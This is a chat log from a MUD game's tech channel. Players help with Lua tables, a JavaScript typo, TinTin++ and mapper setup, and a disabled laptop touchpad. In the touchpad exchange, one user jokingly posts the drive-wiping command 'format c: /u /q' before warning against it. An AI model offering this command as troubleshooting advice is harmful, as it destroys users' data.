T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: yeh array is what i meant
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: how do i do an array>
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Dfury Tech: what kind of array?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I suggest working through the Lua guide, then using it as a reference for specific constructs - http://www.lua.org/pil/contents.html
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: i just want a bunch of clan names in an array, so i can write something that goes if (area==clan) then
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tripphippie Tech: in lua it looks like this. array = { "thing1", "thing2", "thing3" }
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: ok, and so then if (area==array) then, it'll match on thing2
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: and thing1 and thing3/
T3/r7/2013-07-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: No you'll want to loop through the array...
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tripphippie Tech: no thats not exactly how programming works
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: hrm
T3/r7/2013-07-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: http://lua-users.org/wiki/TablesTutorial
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: wow that's complicated, would someone be willing to note me an example of what i'm trying to do? i'll give you credit in my script
T3/r7/2013-07-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Then this: http://lua-users.org/wiki/TableLibraryTutorial
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: thst seems really advanced for me
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: i think i'll just write a big if statement
T3/r7/2013-07-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: You certainly can, but if you plan on doing coding in lua, arrays and loops are very very useful.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: i just don't see which example i need
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: if someone would be kind enough to help me with an example
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Bamboo Tech: Weren't you the one who made sounds for aard?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Nuanse Tech: if you plan doing anything "You certainly can, but if you plan on doing coding in lua, arrays and loops are very very useful." EVERYTHING in that is usefull
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: yes
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tripphippie Tech: a pretty easy one line way of doing it would be string.match http://lua-users.org/wiki/StringLibraryTutorial
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: i just want a table that lists all the clans, then i want to be able to write an if statement that would match from the table
T3/r7/2013-07-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Are looking to learn to do it yourself, or are you looking for someone to write it for you?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: if someone would be willing to write it for me they'd get credit, i'm not an expert st this
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: tell ya what, cake way to do this that you should be able to understand today is to just make variables chaos_isclan==yes, daoine_isclan==yes, etc...then test for the variable
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: what am i testing for
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: basically i don't want to have to write if (area=="crusaders") or (area=="seekers") or (area=="tao") etc etc etc
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: but i guess i will....
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: since everyone.... left..... and doesn't wanna help me now.....
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: this would mean that you wouldn't need that, you could have a generic if...
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: What you're wanting can be learned quite quickly if you took the time to learn.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: talk about whining if you don't get instant responses...we're not exactly paid to be here at your beck and call
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Martini & Tyebald Tech: whining is much more productive, though.  I've gotten right to work on helping resolve the issue.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: wow, friendly "community" we have here, every man for himself i guess
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Bamboo Tech: Lol
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: you're being helped and you're bitching about it...but WE'RE not friendly...
T3/r7/2013-07-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I was trying to help you learn it, even thought it would have taken me less time to write the function than google some tutorials for you, but just not going to write it for you.  Perhaps others will.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: and it's hardly the first time you've displayed this lack of regard for anyone but yourself
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: as an instant test of concept, you could make an alias "testforclan *", with the action if (GetVariable("%1_isclan")) then Note("I exist") else Note("I don't exist") end
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: could make the variables I described earlier (clanshort_isclan==YES), then can testforclan <random areakeywords> to see it in action
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: If you don't want to create 30+ variables, put them into a table, then do a for _,v in pairs("clantable") do if "%1"==v then print("%1 is clan") end end
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: And really, Abelinc is one of the more helpful people here when it comes to tech, but he's not one to just give you answers every time you need them. If you're not willing to put forth effort and learn for yourself, why should we put forth effort to help you?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Bamboo Tech: Not just on tech*
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: i am, but i learn from example
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: not from a manual page
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: And there are plenty of examples out on the web you can use, too.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: with 30 other things i don't understand
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Bamboo Tech: I'm pretty sure there are examples on those pages.. try page 1
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: lua-users.org, for example. It's where I learned a lot of my stuff.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: and it was exactly examples that I used to "teach" you the other day
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: the issue was that you didn't want to bother to even read the examples
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: But truth be told, we don't all know the answers off the tops of our heads. So, we're doing the exact same thing you would be doing.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Or rather, should be doing.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: You'll find people more likely to continue to help you if you did research, came back and said, "Okay, I found this example, and I want to incorporate it into my script, but I'm getting lost. What am I missing?" and providing code rather than say, "How do you do xyz in this?"
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: uhm, i did, i already know of one way i can do it, i'm asking if there is an easier way
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: the one way you know to do it is mind-numbingly easy, it's just long
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: the advantage of arrays is maintenance, not ease
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-07-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: And readability
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: but as clans are added once every 3-5 years, that's not really an issue
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: actually I'd find elseifs to be more easily readable
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: like if you open up winkle's sound pack xml file and scroll to the script part, it answers all the questions pei's had to date...how to grab from gmcp, how to check for multiple things, etc
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: i was basically hoping that clans = { "seekers", "tao", "crusaders" }  would match an if statement using if area==clans would see that, oh seekers is in clans aray so match found
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Bamboo Tech: Probably something like if(clans.contains("seekers")) or something similar
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: instead of writing if area=="seekers" or area=="tao" or area=="crusaders"
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Pei Tech: but i'll do that if i have to, just thought there was a more elegant way to do it
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: == means equals. It's a bit more complicated than that, but area=="seekers" can't match if area is more than "seekers"
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: I already gave you code to not need to do the "or"s, but you were busy whining and ignoring me
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Your issue is you want a ready made solution - plugging in your particular case to an example that does exactly what you need isn't learning, it's copying. That's what CTRL-C CTRL-V is for. The examples are together on a page because the same fundamental concepts explain all of them, not just one in particular.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: why this doesn't work: scope=field_array.lenght .. javascript.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: scope stays unidentified
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Ontuct Tech: length is spelled wrong
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: meh
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: lol:)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Ontuct Tech: was that it? lol
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yep:)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Ontuct Tech: don't you hate when you lo0ok at something so simple 100 times and don't see it?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Ontuct.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Wait, the mispelling was the actual issue? Any decent IDE will point that out with a nice blatant squiggle :-P
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Unless you have spell-check off. ;)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Spell check? No, namespace identifier check
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: notepad++>chrome.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Ah, yeah.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: Book of Etzli uses SublimeText.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Unless there is an actual lenght field :-P
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For javascript I like either Visual Studio or Eclipse, depending on what else I'm doing with it.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Notepad++ used to be my editor of choice, but lately, I've enjoyed Sublime more.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yeah, that would make me a computer programmer geek, but i like girls too
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Pfft, so do I. ;)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: This just in, girls like it when you buy them things.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Ontuct Tech: like aard donations?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: nah. they remember your compliments for years.. i found out:)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}CeriQ Tech: And trivia points!
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Some girls do! :)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Well sure. But cyber is cheap.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}CeriQ Tech: Also just in - guys like it when you but them things too.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yes, guys sure do like the butt
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: When you but them things...
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with Captain HR Vakieh about their shared secret.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}CeriQ Tech: I think being gifted and gifting things is universally enjoyable by all parties.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Same train of thought there.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}CeriQ Tech: I can't spell, obviously. :P
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: No, being gifted is not universal.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: This just in - Ceriq is drunk and totally off topic. :P
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: buy a beer to girl. nothing happens. say she looks stunning, see what happens then:)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: Book of Etzli is gifted in many regions.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: Book of Etzli blinks innocently.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}CeriQ Tech: I wish I was drunk so I could blame that typo on that. :S
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Recently with a boot. *smirk Etzli*
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with Rikitiki Takihisis about their shared secret.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Only a splint!
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: It was still a "gift". :)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Technically.  Although I suppose I'm assuming that insurance paid for it :)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}CeriQ Tech: I'm setting up a raspberry pi behind a screen as a statistics and alert computer at the office. Does anyone have any recomendations on what language to use for writing the display client for it?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: One you know already?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}CeriQ Tech: I'm considering simply opening a website in fullscreen on boot and just using javascript to call back to webservices.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Seriously though you could pretty much take your pick of anything that will run on *nix
T3/r7/2013-07-15.txt.gz:{chan ch=tech}CeriQ Tech: I was thinking if anyone had any recommendations for something well fitting for the pi, and which might be slightly outside my normal comfort zone..
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Python is only getting more popular, esp. on the Pi
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flak Tech: i got a python for ya
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Next week, on jokes from awful 80s sitcoms :-P
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: looks more like an inchworm
T3/r7/2013-07-15.txt.gz:{chan ch=tech}CeriQ Tech: Haven't used python in a loong time, not since I was playing around with pygame. Thanks Vakieh, I'll look into it. :)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: incredible.. i have one array that is changed by 1 function only. declared nicely, called only by 1 onclick.event. but some another function changes this array magically. just.. i mean.. wt#..
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: if (smthn[bla]=1) {lala
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: sry
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: just curious. in javascript "if (a=b)" will change the value of a.. does this thing have any use? the tutorials explain only the "correct" syntax
T3/r7/2013-07-15.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: its a boobietrap anyway
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tripphippie Tech: no it doesn't have any use really
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Ghargan Tech: is there someway to download the mapper part of the code without the whole of MUSHClient from the wiki. i have MushClient already
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: there's too much dependency, don't do that
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Ghargan Tech: okay so downloading hte MUSHClient version from there is the easiest way to go then
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Turie Tech: Yes.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tripphippie Tech: yeah i used mush before and i redownloaded for aard
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tripphippie Tech: now i have 2 installs
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Turie Tech: I do not install. I just extract.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: from the google code site for the latest, or from http://www.aardwolf.com/play/downloadmc.htm for pretty new
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Ghargan Tech: thanks gurus
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tripphippie Tech: install extract same thing
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: yup, it's not an installer, it's just a zipfile, so you could continue using an installed one if you wanted
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Ghargan Tech: sweet. i'll play with that then and see what i can't break
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tripphippie Tech: i believe that is how i have it now. 1 installed 1 zip version for aard
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Hollister Tech: does anyone use Unity here?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Fat Ass Cartman Tech: if you're talking Unity as in Ubuntu, I've used it a bit, but not regularly (my wife's computer is running Ubuntu)... I may or may not know answers to questions about it
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Cosrin Tech: I'm having trouble figuring out how to set my Hp % and Mn % as displaed on the --> TICK <-- to variables in TinTin++. Anyone willing to help me figure it out?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: why would you get it from TICK when GMCP gives you a live update and tintin already puts it into variables (for the aard tintin package)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Are you using my package? If so your hp and such are already variablized
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Should be in $GMCP[CHAR][STATUS]
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Cosrin Tech: I'm not sure Abelinc... I'm still kind of new at this. And Cheezburger, I have yet to get your package to work :( I'm sorry.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: He was referring to the same thing. What doesn't work?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Did you follow the steps in the readme?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: cheezburger how much screen size is required for yoru tt++ pack?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: im on a netbook 10.1
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Cosrin Tech: Did you have a seperate readme file than tintin? I didn't notice it. I'll look for it now.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: that should be more than enough, are you in X11 or console?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: a terminal session in ubuntu 
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: 1024x600
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: X11 I guess that makes it?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: if all you see is text, then it's console...if you see an actual desktop and use a mouse, then it's X11
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: iirc in most distros you can use ctrl-alt-F1 through F4 to move between X11 and a few virtual terminals
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: alt ctrl f1 worked thank you
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: well, that'll switch you between your virtual terminals, but if you're in x11 you might as well stay there
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: it'll be much more familiar, and generally gives you more characters than a console
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: Ill go edit the setup.ini for the Cheezburger pack, any tips?'
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: When you download our package, it just includes some setup functionality to get you started. So you start tt++ the same way as normal, but you supply the path to the file specified in your readme. So, if you have yours in /home/cosrin/tt/, you'd do "tt++ /home/cosrin/tt/main.tin"
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: is it necessary to do -G?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Shouldn't be, no.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: thank you very much!
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: But definitely read the README, Ixle was pretty thorough when he wrote it up.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: how's yours coming along, cosrin?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: sorry to be  a bother, I have loaded the cheezburger script for tintin++ everything works but the bottom 4 lines are just "--------------" any idea what i did wrong?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Quaff a potion
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: and type 'protocol gmcp' and make sure there's some of those on.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: all off :)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: if they all say off, you need to load the script BEFORE logging in.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: ty
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: If you put your username/pw in the config file (general.tin file i believe) when you read the script starting tt++ it'll log you in and handle all that background magic.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: I booted tintin++ with setup.tin and then logged in, how do i load it seperately?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: you should be able to disconnect, load the file, and then connect
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Cosrin Tech: So I just figured out how to use Cheezburger's package and I have a question.  The enter key seems to repeat what I just typed. Is there a way to shut that off?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flach Tech: Oh, so many jokes to be made about that statement.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Cosrin Tech: Haha keep it clean :)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: #config {command enter} {off}
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: #conf will show you all internal client settings.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Cosrin Tech: thanks it was #config {repeat enter} {off}
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Heh, sorry. Been a while since I changed that, going from memory :P
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Cosrin Tech: no worries, awesome program so far.. I'm getting the feel of things and making a few adjustments.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Lictor Tech: well I apologize again for my incompetence. I have booted tintin++ in tmux with script.tin and I get these 4 dotted lines on the bottom gmcp is all off. I was told to load script before logging. I cant figure out how to do that and when I boot with script.tin I have to login do I use the #script command in tt++?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Wildkard Tech: is there a way to delete all cexits from a single area?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Turie Tech: mapper cexit delete
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Wildkard Tech: lol that didn't work looged me out
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Bamboo Tech: XD
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Bamboo Tech: Not sure if 'mapper purgezone <area>' is the one you're looking for
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Garthis Tech: mapper delete cexits - does a room . purge does all exits  - it does not say one area
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Turie Tech: mapper delete cexits 
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Turie Tech: Mapper help exit tells you.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Bamboo Tech: That only deletes the current room's cexit(s)
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Garthis Tech: again you only have 2 options 1 room or all exits everywhere
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Turie Tech: No, there is no way to delete all cexits from an area. Just the room or all cexits.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Garthis Tech: thats what i said
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Wildkard Tech: ok thanks
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: you could modify the database, but I'd highly recommend against that
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Garthis Tech: hehe
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Bamboo Tech: To make it easier, do 'mapper cexits here', click on each of the items in the list, then do 'mapper delete cexits'
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: but mapper cesits here will show you all you have in an area so you can go to each room to clear it
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: Purrrrific Growltiger is agreeing with that Bamboo person again...
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Wildkard Tech: ok, will do it that way - thanks!
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: if you want to do something like that, I'd suggest doing a mapper cexits here to list them, copypasta that to notepad, then mapper goto firstroomnum, mapper delete cexits
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: or if it's something like kingsholm after you've done the goal, just make the new cexit and it'll replace the previous one
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Wildkard Tech: just real bad about remembering to wait for the cexit to complete...I move a few rooms over
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: then it's as simple as mapper cexit next, wait a few seconds, up arrow, enter, wait, up arrow, enter, etc
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: it gives you feedback when it has completed adding the cexit
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Legendary Gruagach Tech: hey i just got a new labtop and some icon came up with a finger with a line through it and i can't use the mousepad.. hp, wtf i do
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lap
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Emage Tech: lappy top, labtops are for labs with tops
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Neryx Tech: Maybe he's got a cold, jeez.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Emage Tech: hit the button to enable it
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flach Tech: There's likely a function key up top that turns the touchpad off
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: umm you can try reseting the mouse
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Emage Tech: format c: /u /q
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Emage Tech: DO NOT DO THAT
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flach Tech: Well, not likely ... I know there is, just not sure which one.  Depends on the model.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Emage Tech: I have a hp and its right above the touchpad
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i have had a few hps that go buggy with their mouse
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flach Tech: I believe most models have the button up with the function keys now.  I work for HP, but dont deal with PC support at all.
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Legendary Gruagach Tech: i dont think its buggy, i think i turned it off but i cant figure i tout
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: normally though there is just a restricted amount of the pad that works not it getting disabled altogether
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flach Tech: What is the model of the laptop
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: Flak screams loudly at Flach.  Better leave before Flak blames you, too!!!
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Legendary Gruagach Tech: i dont think its a function key, i think its like holding the keypad down or something
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flak Tech: FLaCH?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Tech: Flach P
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: do you have a cat?
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: get a cat to walk on the keyboard
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flach Tech: What model is the laptop
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Legendary Gruagach Tech: dunno..elite book, i7
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: look at the lower right corner of the monitor
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Emage Tech: lift up laptop and look for sticker that says series/model
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Legendary Gruagach Tech: lol..
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Legendary Gruagach Tech: elitebook 2570p
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Flach Tech: Try double tapping the upper left corner of the touchpad
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Legendary Gruagach Tech: yaaaaaaaah
T3/r7/2013-07-15.txt.gz:{chan ch=tech}Legendary Gruagach Tech: thanks
